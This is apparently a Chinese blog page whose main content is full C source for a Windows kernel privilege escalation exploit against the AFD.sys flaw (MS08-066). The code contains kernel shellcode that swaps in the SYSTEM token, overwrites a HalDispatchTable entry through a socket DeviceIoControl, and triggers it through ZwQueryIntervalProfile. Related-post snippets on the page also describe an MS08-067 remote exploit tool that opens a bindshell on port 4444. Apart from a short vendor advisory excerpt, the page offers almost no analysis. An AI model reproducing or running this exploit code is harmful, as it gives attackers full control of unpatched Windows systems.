ms08-066

Windows 内核漏洞 ms08025 分析 4月8号microsoft再次发布了一个系统内核的补丁(KB941693),微软对该漏洞的描述为: 此安全更新解决 Windows 内核中一个秘密报告的漏洞。 成功利用此漏洞的本地攻击者可以完全控制受影响的系统。 攻击者可随后安装程序;查看、更改或删除数据;或者创建新帐户。这是用于 Windows 2000、Windows XP、Windows Server 2003、Windows Vista 阅读详情
  1. #include <stdio.h>
  2. #include <winsock2.h>
  3. #include <windows.h>
  4. #pragma comment(lib, "ws2_32.lib")
  5. #define NTSTATUS        int
  6. typedef struct _PROCESS_BASIC_INFORMATION {
  7. NTSTATUS ExitStatus;
  8. PVOID PebBaseAddress;
  9. ULONG AffinityMask;
  10. ULONG BasePriority;
  11. ULONG UniqueProcessId;
  12. ULONG InheritedFromUniqueProcessId;
  13. } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
  14. typedef struct _IMAGE_FIXUP_ENTRY {
  15. USHORT        Offset:12;
  16. USHORT        Type:4;
  17. } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
  18. typedef enum _PROCESS_IMFORMATION_CLASS {
  19. ProcessBasicInformation,
  20. ProcessQuotaLimits,
  21. ProcessIoCounters,
  22. ProcessVmCounters,
  23. ProcessTimes,
  24. ProcessBasePriority,
  25. ProcessRaisePriority,
  26. ProcessDebugPort,
  27. ProcessExceptionPort,
  28. ProcessAccessToken,
  29. ProcessLdtInformation,
  30. ProcessLdtSize,
  31. ProcessDeaultHardErrorMode,
  32. ProcessIoPortHandlers,
  33. ProcessPooledUsageAndLimits,
  34. ProcessWorkingSetWatch,
  35. ProcessUserModeIOPL,
  36. ProcessEnableAlignmentFaultFixup,
  37. ProcessPriorityClass,
  38. ProcessWx86Information,
  39. ProcessHandleCount,
  40. ProcessAffinityMask,
  41. ProcessPriorityBoost,
  42. ProcessDeviceMap,
  43. ProcessSessionInformation,
  44. ProcessForegroundInformation,
  45. ProcessWow64Information
  46. } PROCESS_INFORMATION_CLASS;
  47. typedef enum _SYSTEM_INFORMATION_CLASS {
  48. SystemBasicInformation,
  49. SystemProcessorInformation,
  50. SystemPerformanceInformation,
  51. SystemTimeOfDayInformation,
  52. SystemNotImplemented1,
  53. SystemProcessesAndThreadsInformation,
  54. SystemCallCounts,
  55. SystemConfigurationInformation,
  56. SystemProcessorTimes,
  57. SystemGlobalFlag,
  58. SystemNotImplemented2,
  59. SystemModuleInformation,
  60. SystemLockInformation,
  61. SystemNotImplemented3,
  62. SystemNotImplemented4,
  63. SystemNotImplemented5,
  64. SystemHandleInformation,
  65. SystemObjectInformation,
  66. SystemPagefileInformation,
  67. SystemInstructioEmulationCounts,
  68. SystemInvalidInfoClass1,
  69. SystemCacheInformation,
  70. SystemPoolTagInformation,
  71. SystemProcessorStatistics,
  72. SystemDpcInformation,
  73. SystemNotImplemented6,
  74. SystemLoadImage,
  75. SystemUnloadImage,
  76. SystemTimeAdjustment,
  77. SystemNotImplemented7,
  78. SystemNotImplemented8,
  79. SystemNotImplemented9,
  80. SystemCrashDumpInformation,
  81. SystemExceptionInformation,
  82. SystemCrashDumpStateInformation,
  83. SystemKernelDebuggerInformation,
  84. SystemContextSwitchInformation,
  85. SystemRegisterQuotaInformation,
  86. SystemLoadAndCallImage,
  87. SystemPrioritySeparation
  88. } SYSTEM_INFORMATION_CLASS;
  89. typedef enum _KPROFILE_SOURCE {
  90. ProfileTime,
  91. ProfileAlignmentFixup,
  92. ProfileTotalIssues,
  93. ProfilePipelineDry,
  94. ProfileLoadInstructions,
  95. ProfilePipelineFrozen,
  96. ProfileBranchInstructions,
  97. ProfileTotalNonissues,
  98. ProfileDcacheMisses,
  99. ProfileIcacheMisses,
  100. ProfileCacheMisses,
  101. ProfileBranchMispredictions,
  102. ProfileStoreInstructions,
  103. ProfileFpInstructions,
  104. ProfileIntegerInstructions,
  105. Profile2Issue,
  106. Profile3Issue,
  107. Profile4Issue,
  108. ProfileSpecialInstructions,
  109. ProfileTotalCycles,
  110. ProfileIcacheIssues,
  111. ProfileDcacheAccesses,
  112. ProfileMemoryBarrierCycles,
  113. ProfileLoadLinkedIssues,
  114. ProfileMaximum
  115. } KPROFILE_SOURCE, *PKPROFILE_SOURCE;
  116. typedef struct _UNICODE_STRING {
  117. USHORT        Length;
  118. USHORT        MaximumLength;
  119. PWSTR        Buffer;
  120. } UNICODE_STRING, *PUNICODE_STRING;
  121. typedef struct _SECTION_BASIC_INFORMATION {
  122. PVOID BaseAddress;
  123. ULONG Attributes;
  124. LARGE_INTEGER Size;
  125. }SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;
  126. typedef struct _SYSTEM_MODULE_INFORMATION {
  127. ULONG Reserved[2];
  128. PVOID Base;
  129. ULONG Size;
  130. ULONG Flags;
  131. USHORT Index;
  132. USHORT Unknown;
  133. USHORT LoadCount;
  134. USHORT ModuleNameOffset;
  135. CHAR ImageName[256];
  136. } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  137. typedef NTSTATUS (NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG);
  138. typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
  139. typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
  140. typedef NTSTATUS (NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE, PVOID *, ULONG, PULONG, ULONG, ULONG);
  141. typedef PIMAGE_NT_HEADERS (NTAPI *RTLIMAGENTHEADER)(PVOID);
  142. typedef PVOID (NTAPI *RTLIMAGEDIRECTORYENTRYTODATA)(PVOID, ULONG, USHORT, PULONG);
  143. ZWQUERYINTERNALPROFILE        ZwQueryIntervalProfile;
  144. ZWQUERYINFORMATIONPROCESS        ZwQueryInformationProcess;
  145. ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;
  146. ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory;
  147. RTLIMAGENTHEADER RtlImageNtHeader;
  148. RTLIMAGEDIRECTORYENTRYTODATA RtlImageDirectoryEntryToData;
  149. unsigned char kfunctions[64][64] =
  150. {
  151. //ntoskrnl.exe
  152. {"ZwTerminateProcess"},
  153. {"PsLookupProcessByProcessId"},
  154. {""},
  155. };
  156. unsigned char shellcode[] =
  157. "/x90/x60/x9c/xe9/xc4/x00/x00/x00/x5f/x4f/x47/x66/x81/x3f/x90/xcc"
  158. "/x75/xf8/x66/x81/x7f/x02/xcc/x90/x75/xf0/x83/xc7/x04/x64/x8b/x35"
  159. "/x38/x00/x00/x00/xad/xad/x48/x81/x38/x4d/x5a/x90/x00/x75/xf7/x95"
  160. "/x8b/xf7/x6a/x02/x59/xe8/x4d/x00/x00/x00/xe2/xf9/x8b/x4e/x0c/xe8"
  161. "/x29/x00/x00/x00/x50/x8b/x4e/x08/xe8/x20/x00/x00/x00/x5a/x8b/x7e"
  162. "/x1c/x8b/x0c/x3a/x89/x0c/x38/x56/x8b/x7e/x14/x8b/x4e/x18/x8b/x76"
  163. "/x10/xf3/xa4/x5e/x33/xc0/x50/x50/xff/x16/x9d/x61/xc3/x83/xec/x04"
  164. "/x8d/x2c/x24/x55/x51/xff/x56/x04/x85/xc0/x0f/x85/x80/x8f/x00/x00"
  165. "/x8b/x45/x00/x83/xc4/x04/xc3/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78"
  166. "/x03/xf5/x56/x8b/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33"
  167. "/xdb/x0f/xbe/x10/x85/xd2/x74/x08/xc1/xcb/x07/x03/xda/x40/xeb/xf1"
  168. "/x3b/x1f/x75/xe7/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e"
  169. "/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x37/xff/xff"
  170. "/xff/x90/x90/x90"
  171. "/x90/xcc/xcc/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  172. "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  173. "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xcc/x90/x90/xcc";
  174. void ErrorQuit(pMsg)
  175. {
  176. printf("%sError Code:%d/n", pMsg, GetLastError());
  177. ExitProcess(0);
  178. }
  179. ULONG ComputeHash(char *ch)
  180. {
  181. ULONG ret = 0;
  182. while(*ch)
  183. {
  184. ret = ((ret << 25) | (ret >> 7)) + *ch++;
  185. }
  186. return ret;
  187. }
  188. void GetFunction()
  189. {
  190. HANDLE        hNtdll;
  191. hNtdll = LoadLibrary("ntdll.dll");
  192. if(hNtdll == NULL)
  193. ErrorQuit("LoadLibrary failed./n");
  194. ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(hNtdll, "ZwQueryIntervalProfile");
  195. if(ZwQueryIntervalProfile == NULL)
  196. ErrorQuit("GetProcAddress failed./n");
  197. ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
  198. if(ZwQueryInformationProcess == NULL)
  199. ErrorQuit("GetProcAddress failed./n");
  200. ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
  201. if(ZwQuerySystemInformation == NULL)
  202. ErrorQuit("GetProcessAddress failed./n");
  203. ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");
  204. if(ZwAllocateVirtualMemory == NULL)
  205. ErrorQuit("GetProcAddress failed./n");
  206. RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader");
  207. if(RtlImageNtHeader == NULL)
  208. ErrorQuit("GetProcAddress failed./n");
  209. RtlImageDirectoryEntryToData = (RTLIMAGEDIRECTORYENTRYTODATA)GetProcAddress(hNtdll, "RtlImageDirectoryEntryToData");
  210. if(RtlImageDirectoryEntryToData == NULL)
  211. ErrorQuit("GetProcAddress failed./n");
  212. FreeLibrary(hNtdll);
  213. }
  214. ULONG GetKernelBase(char *KernelName)
  215. {
  216. ULONG        i, Byte, ModuleCount, KernelBase;
  217. PVOID        pBuffer;
  218. PSYSTEM_MODULE_INFORMATION        pSystemModuleInformation;
  219. PCHAR        pName;
  220. ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
  221. if((pBuffer = malloc(Byte)) == NULL)
  222. ErrorQuit("malloc failed./n");
  223. if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
  224. ErrorQuit("ZwQuerySystemInformation failed/n");
  225. ModuleCount = *(PULONG)pBuffer;
  226. pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
  227. for(i = 0; i < ModuleCount; i++)
  228. {
  229. if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
  230. {
  231. KernelBase = (ULONG)pSystemModuleInformation->Base;
  232. printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
  233. free(pBuffer);
  234. strcpy(KernelName, "ntoskrnl.exe");
  235. return KernelBase;
  236. }
  237. if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL)
  238. {
  239. KernelBase = (ULONG)pSystemModuleInformation->Base;
  240. printf("Kernel is %s/n", pSystemModuleInformation->ImageName);
  241. free(pBuffer);
  242. strcpy(KernelName, "ntkrnlpa.exe");
  243. return KernelBase;
  244. }
  245. pSystemModuleInformation++;
  246. }
  247. free(pBuffer);
  248. return 0;
  249. }
  250. ULONG GetServiceTable(PVOID pImageBase, ULONG Address)
  251. {
  252. PIMAGE_NT_HEADERS        pNtHeaders;
  253. PIMAGE_BASE_RELOCATION        pBaseRelocation;
  254. PIMAGE_FIXUP_ENTRY        pFixupEntry;
  255. ULONG        RelocationTableSize = 0;
  256. ULONG        Offset, i, VirtualAddress, Rva;
  257. Offset = Address - (ULONG)pImageBase;
  258. pNtHeaders = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pImageBase);
  259. pBaseRelocation = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(pImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocationTableSize);
  260. if(pBaseRelocation == NULL)
  261. return 0;
  262. do
  263. {
  264. pFixupEntry = (PIMAGE_FIXUP_ENTRY)((ULONG)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
  265. RelocationTableSize = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1;
  266. for(i = 0; i < RelocationTableSize; i++, pFixupEntry++)
  267. {
  268. if(pFixupEntry->Type == IMAGE_REL_BASED_HIGHLOW)
  269. {
  270. VirtualAddress = pBaseRelocation->VirtualAddress + pFixupEntry->Offset;
  271. Rva = *(PULONG)((ULONG)pImageBase + VirtualAddress) - (ULONG)pNtHeaders->OptionalHeader.ImageBase;
  272. if(Rva == Offset)
  273. {
  274. if (*(PUSHORT)((ULONG)pImageBase + VirtualAddress - 2) == 0x05c7)
  275. return *(PULONG)((ULONG)pImageBase + VirtualAddress + 4) - pNtHeaders->OptionalHeader.ImageBase;
  276. }
  277. }
  278. }
  279. *(PULONG)&pBaseRelocation += pBaseRelocation->SizeOfBlock;
  280. } while(pBaseRelocation->VirtualAddress);
  281. return 0;
  282. }
  283. int main(int argc, char* argv[])
  284. {
  285. PVOID                pDrivers[256];
  286. PVOID                pOldKernelInfo, pMapAddress = NULL;
  287. PULONG        pStoreBuffer, pShellcode, pFakeKernelInfo;
  288. PUCHAR        pRestoreBuffer, pBase, FunctionAddress;
  289. PROCESS_BASIC_INFORMATION pbi;
  290. SYSTEM_MODULE_INFORMATION        smi;
  291. SECTION_BASIC_INFORMATION sbi;
  292. KPROFILE_SOURCE        ProfileSource;
  293. OSVERSIONINFO        ovi;
  294. char                DriverName[256], KernelName[64];
  295. ULONG                Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64];
  296. ULONG                HookAddress, SystemId, TokenOffset, Sections, Pid, FunctionNumber;
  297. ULONG                HDTOffset, AllocationSize;
  298. ULONG                Result;
  299. HANDLE        hKernel;
  300. WSADATA        wsad;
  301. int                sockfd;
  302. struct sockaddr_in saddr;
  303. printf("/n MS08-0xx Windows Kernel Ancillary Function Driver Local Privilege Escalation Vulnerability Exploit /n/n");
  304. printf("/t Create by SoBeIt. /n/n");
  305. if(argc != 1)
  306. {
  307. printf(" Usage:%s/n/n", argv[0]);
  308. return 1;
  309. }
  310. pFakeKernelInfo = (PULONG)malloc(256);
  311. GetFunction();
  312. if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
  313. ErrorQuit("ZwQueryInformationProcess failed/n");
  314. KernelBase = GetKernelBase(KernelName);
  315. if(!KernelBase)
  316. ErrorQuit("Unable to get kernel base address./n");
  317. printf("Kernel base address: %x/n", KernelBase);
  318. ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
  319. if(!GetVersionEx(&ovi))
  320. ErrorQuit("GetVersionEx failed./n");
  321. if(ovi.dwMajorVersion != 5 && ovi.dwMajorVersion != 6)
  322. ErrorQuit("Not Windows NT family OS./n");
  323. printf("Major Version:%d Minor Version:%d/n", ovi.dwMajorVersion, ovi.dwMinorVersion);
  324. switch(ovi.dwMinorVersion)
  325. {
  326. case 0:                                                //Windows2000
  327. SystemId = 8;
  328. TokenOffset = 0x12c;
  329. break;
  330. case 1:                                                //WindowsXP
  331. SystemId = 4;
  332. TokenOffset = 0xc8;
  333. break;
  334. case 2:                                                //Windows2003
  335. SystemId = 4;
  336. TokenOffset = 0xd8;
  337. break;
  338. default:
  339. SystemId = 4;
  340. TokenOffset = 0xc8;
  341. }
  342. hKernel = LoadLibrary(KernelName);
  343. if(hKernel == NULL)
  344. ErrorQuit("LoadLibrary failed./n");
  345. printf("Load Base:%x/n", (ULONG)hKernel);
  346. HDTOffset = (ULONG)GetProcAddress(hKernel, "HalDispatchTable");
  347. HDTOffset += KernelBase - (ULONG)hKernel;
  348. printf("HalDispatchTable Offset:%x/n", HDTOffset);
  349. HookAddress = (ULONG)(HDTOffset + 4);
  350. printf("NtQueryIntervalProfile function entry address:%x/n", HookAddress);
  351. AllocationSize = 0x1000;
  352. pStoreBuffer = (PULONG)0x7fb0;
  353. if(ZwAllocateVirtualMemory((HANDLE)0xffffffff, &pStoreBuffer, 0, &AllocationSize,
  354. MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE))
  355. ErrorQuit("ZwAllocateVirtualMemory failed./n");
  356. pRestoreBuffer = malloc(0x100);
  357. memset(pStoreBuffer, 0x90, AllocationSize);
  358. pShellcode = (PULONG)shellcode;
  359. for(k = 0; pShellcode[k++] != 0x90cccc90; )
  360. ;
  361. for(j = 0; kfunctions[j][0] != '/x0'; j++)
  362. buf[j] = ComputeHash(kfunctions[j]);
  363. buf[j++] = pbi.InheritedFromUniqueProcessId;
  364. buf[j++] = SystemId;
  365. buf[j++] = (ULONG)pRestoreBuffer;
  366. buf[j++] = HookAddress;
  367. buf[j++] = 0x04;
  368. buf[j++] = TokenOffset;
  369. memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
  370. memcpy((PUCHAR)0x8000, shellcode, sizeof(shellcode) - 1);
  371. if(WSAStartup(MAKEWORD(2, 2), &wsad) != 0)
  372. ErrorQuit("WSAStartup failed./n");
  373. if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  374. ErrorQuit("socket failed./n");
  375. saddr.sin_family = AF_INET;
  376. saddr.sin_port = htons(0x1bd);
  377. saddr.sin_addr.s_addr = 0x100007f;
  378. if(connect(sockfd, (struct sockaddr *)&saddr, sizeof(struct sockaddr)))
  379. ErrorQuit("connect failed./n");
  380. DeviceIoControl((HANDLE)sockfd, 0x1203F, NULL, 0, (PVOID)(HookAddress - 3), 0, &Result, NULL);
  381. ProfileSource = ProfileTotalIssues;
  382. ZwQueryIntervalProfile(ProfileSource, &Result);
  383. printf("Exploit finished./n");
  384. return 1;
  385. }
Kali 渗透测试—Metasploit Metasploit 并不仅仅是一个工具软件,它是为自动化实施经典的、常规的,或复杂新颖的攻击提供基础设施支持的一个完整框架平台。 Metasploit 中提供了渗透攻击模块、攻击载荷和编码器来轻易实施一次渗透攻击,也可以更近一步编写执行更为复杂的攻击技术。 专业术语 渗透攻击(Exploit) 渗透攻击是指有攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。 攻击... 阅读详情

相关推荐

2022.08.09-docker容器网络配置-左冕

docker容器配置

weixin_46447154的博客 243

【kernel exploit】CVE-2020-8835:eBPF verifier 整数截断导致越界读写

影响版本:v5.4.7 - v5.5.0 以及更新的版本,如5.6。 编译选项:CONFIG_BPF_SYSCALL,config所有带BPF字样的。 漏洞描述:在Linux Kernel commit(581738a681b6)中引入,验证BPF_JMP32指令时,kernel/bpf/verifier.c 没有正确将64位值转换为32位(直接取低32位),错误计算了bpf_reg_state寄存器状态中的寄存器值范围,使得BPF代码验证阶段和实际执行阶段不一致,导致越界读写。 补丁:patch 去掉 _

panhewu9919的博客 2313

MS08-066溢出程序

最新的MS08-066提权工具... MS08-066:Microsoft辅助驱动程序中秘密报告漏洞 可以把guest权限提为system权限...

【Exploit trick】利用poll_list对象构造kmalloc-32任意释放 (corCTF 2022-CoRJail)

CoRJail介绍:内核利用+docker逃逸,漏洞是 off-by-one,docker容器含有定制的seccomp过滤。本方法是利用poll_list对象来构造任意释放。环境限制:CoRJail 运行在 custom Debian Bullseye image (简称CoROS)上的 docker 容器中,作者修改了来阻止msgget()/msgsnd()/msgrcv()调用,但是允许调用add_key()/keyctl(),容器中可以访问,作者定制的 seccomp 文件位于here。需自行编译。

panhewu9919的博客 1441

ms08-067溢出漏洞

MS08-06最新利用工具WSS白细胞发布 溢出后开启对方的4444端口 经过测试从XP到2000、2003、Vista都可以拿下权限 对方机器要有TCP139或TCP445端口 C:\>ms08067.exe MS08-067 Remote Stack Overflow Vulnerability Exploit(POC) Create by Whitecell's Polymorphours@whitecell.org 2008/10/27 Thanks isno and PolyMeta ShellCode Function: bindshell port:4444 usage: ms08067.exe [IP] 攻击之后,正向连接对方的TCP4444端口即可。

Alipay 支付唤起 h5 测试

测试地址 https://recharge.apps.oppomobile.com/recharge-center/recharge/?from=message try { //唤起客户端快捷参数 var data = {"requestType":"SafePay","fromAppUrlScheme":"alipays","dataString":"h5_ro...

六桥风月IT随笔 1万+

Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(ms08066)

Author: PolymorphoursEmail: [email]Polymorphours@whitecell.org[/email]Homepage:[url]http://www.whitecell.org[/url]Date: 2008-10-15 漏洞模块: AFD.sys漏洞类型: 任意内核地址可写 这个漏洞又是一个可以写任意内核地址的漏洞,产生这个漏洞的原因是 Probe...

weixin_34150503的博客 401

顶刊《会计研究》数据复现|最新上市公司数智化数据

本文基于Python文本分析方法构建了中国A股上市公司数智化指标(1991-2024),通过识别年报中的"机器学习""智能医疗"等关键词,量化企业数字化与智能化融合程度。研究发现数智化企业更倾向于非正式渠道的定性披露以规避风险,该指标为监管完善信披规则提供了参考。研究还揭示了数智化对企业信息披露策略的转变,并提出了未来研究方向,包括数智化对绿色创新、ESG表现等影响机制。数据覆盖非金融类上市公司,采用文本挖掘技术构建结构化指标,为相关领域研究提供了微观基础。

PPdata_Academy的博客 1487

MS08-066 Microsoft Ancillary Function Driver Elevation of Privilege exploit

 from http://hi.baidu.com/vessial这个漏洞跟MS08-025类似,由于ProbeForWrite对0字节长度地址不作检测,造成可以写任何地址,SWI已经对此作了比较详细的说明,大家可以看这儿http://blogs.technet.com/swi/archive...mode-data.aspx简单描述这个漏洞PAGE:000174C3 ; int __stdc

1361

DEAP数据集实战指南:从脑电信号到情绪分类的完整流程解析

本文提供了DEAP数据集在脑电信号情绪识别领域的完整实战指南。详细解析了数据下载、结构理解、频带功率特征提取等核心步骤,并演示了如何构建和评估机器学习分类模型,为研究者实现从原始脑电信号到情绪分类的完整流程提供了清晰路径。

jj890的博客 906

【ESP32接入国产大模型之豆包】

🥳🥳🥳现在,我们在本教程中,您学习了如何使用ESP32接入语言大模型之豆包。🛹🛹🛹从而实现对外部世界进行感知,充分认识这个有机与无机的环境,后期会持续分享esp32跑freertos实用案列🥳🥳🥳科学地合理地进行创作和发挥效益,然后为人类社会发展贡献一点微薄之力。🤣🤣🤣如果你有任何问题,可以通过q group(945348278)加入鹏鹏小分队,期待与你思维的碰撞😘😘😘。

vor234的博客 1万+

MS08-066 : 绕过ProbeForRead/ProbeForWrite及修复

MS08-066 : Catching and fixing a ProbeForRead / ProbeForWrite bypass The driver afd.sys is responsible for handling socket connections.

602

[CSP-X2025山东小学组T4]勇者斗恶龙

[CSP-X2025山东小学组T4]勇者斗恶龙,动态规划

少儿编程乔老师 150

MS08-066 AFD.sys Local Privilege Escalation Exploit (POC)

 MS Bulletin : http://www.microsoft.com/technet/security/Bulletin/MS08-066.mspx**********计算IoControlCode过程**********.text:00010B9F mov eax, [edx+0Ch] ; edx=CurrentStackLocation.text:00010BA2 push

937

【软件系统架构】系列四:嵌入式软件-NPU(神经网络处理器)系统及模板

NPU(Neural Processing Unit) 是专门用于人工神经网络推理与训练的处理器,具备高并行、低功耗、低延迟等特点。它是边缘 AI、自动驾驶、智能摄像头、语音识别等场景中的关键硬件。

moton2017的博客 2253

使用Zed 实现测距

此代码基于官方代码基础上进行改写,主要是获取zed相机深度画面的深度值,为yolo测距打基础。Zed相机是由Stereolabs公司开发的一种先进的立体视觉相机。这种相机专为计算机视觉和机器学习应用而设计,能够提供高质量的3D捕捉和分析功能。: Zed相机配备有一对垂直排列的传感器,能够捕捉两个略有偏移的图像,从而模拟人的双眼视觉,实现深度感知。: 利用立体成像技术,Zed相机能够实时生成环境的3D模型,这对于机器人导航、增强现实(AR)和虚拟现实(VR)等应用至关重要。

weixin_45303602的博客 912

MS Windows XP/2003 AFD.sys Privilege Escalation Exploit (K-plugin)

MS Windows XP/2003 AFD.sys Privilege Escalation Exploit (K-plugin)   Hi, I have just uploaded a k-plugin for Kartoffel, which exploits a flawpatched in the recent MS08-066 bulletin. [url]http://...

weixin_34365635的博客 145

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

Microsoft漏洞补丁包下载地址大全

Microsoft漏洞补丁包下载地址大全,只要输入相应代码即可https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2014/ms14-066 转载于:https://blog.51cto.com/sf1314/2405344...

weixin_33796177的博客 3580

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

066:冷血格斗场

总时间限制: 1000ms 内存限制: 65536kB 描述 为了迎接08年的奥运会,让大家更加了解各种格斗运动,facer新开了一家冷血格斗场。格斗场实行会员制,但是新来的会员不需要交入会费,而只要同一名老会员打一场表演赛,证明自己的实力。 我们假设格斗的实力可以用一个非负整数表示,称为实力值,两人的实力值可以相同。另外,每个人都有一个唯一的id,也是一个正整数。为了使得比赛更好看,每一个新队员都会选择与他实力最为接近的人比赛,即比赛双方的实力值之差的绝对值越小越好,如果有多个人的实力值与他差别相同,则他

ice123muxin的博客 1035

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

【20252804 2025-2026-2 《网络攻防实践》实践六报告】

本次实验围绕 Windows 系统远程渗透与取证分析展开,完成了三项核心实践。在 Metasploit 攻击实验中,成功利用 MS08-067 漏洞对 Windows 靶机发起攻击,获取系统命令行控制权;在取证分析中,通过流量解码还原了攻击者的攻击工具、入侵流程与后续操作,明确了攻击特征与防御要点;团队对抗中,攻方利用漏洞建立反向 Shell,防守方通过 Wireshark 捕获并分析了扫描、利用、反弹连接的全流程流量。

wei_huanjihe的博客 386

20145320 《网络渗透》MSF基础应用

20145320 《网络渗透》MSF基础应用 1.实验后回答问题 exploit 攻击模块,利用发现的安全漏洞或配置弱点对远程目标系统进行攻击。主要分为主动攻击和被动攻击。像我们这次做的实验中,第一个是主动攻击,第二三个均属于被动攻击。 payload 攻击载荷模块,这个模块实质是一段shellcode。在渗透成功之后,将程序流程劫持并跳转入这段机器代码中执行 encode 编码器模块...

weixin_30416497的博客 219

漏洞工具:nmap和nessus

NMAP NMAP(Network Mapper)是一款开放源代码的网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个主机也没有问题.Nmap以新颖的方式使用原始IP报文来发现网络上有一些主机,那些主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息),它们使用什么类型的报文过滤器/防火墙,以及一堆其他功能。虽然Nmap通常用于安全审核,许多系统管理员和网络管理员也用它来做一些日常的工作,选择查看整个网络的信息,管理服务升级计划,以及监视主机和服务的运行

qq_50854662的博客 2113

权限提升部分思路

权限提升 权限提升简称提权。现在的操作系统都是多用户操作系统,用户之间都有权限控制,比如通过web漏洞拿到的是web进程的权限,往往web服务都是一个权限很低的账号启动的,因此通过webshell进行一些操作会受到限制,这就需要将其提升为管理甚至是System权限。 一、Windows提权 范围较广主要的提权方式还是利用自身漏洞或者错误配置,例如利用缓冲区溢出提权、windows错误系统配置提权、任意用户以NTAUTHORIITY\SYSTEM权限安装MSI提权、启动项和组策略提权、计划任务提权和进程注入提

weixin_51387754的博客 439

微软发布十月份安全公告 将修复四个严重安全漏洞

  微软周二更新10月份的安全公告,其中4个是严重等级的安全补丁,将修复Windows活动目录、IE浏览器、Excel和微软主机集成服务器等产品中的严重安全漏洞。主机集成服务器是把Windows计算机与IBM大型计算机集成在一起的产品。  严重的活动目录安全漏洞影响到Windows 2000 Server操作系统,但是,不影响其它版本的Windows操作系统。Excel安全漏洞影响到Windo

clubsondy的专栏 621
上一篇: 犀利的 oracle 注入技术
下一篇: Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(ms08066)
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值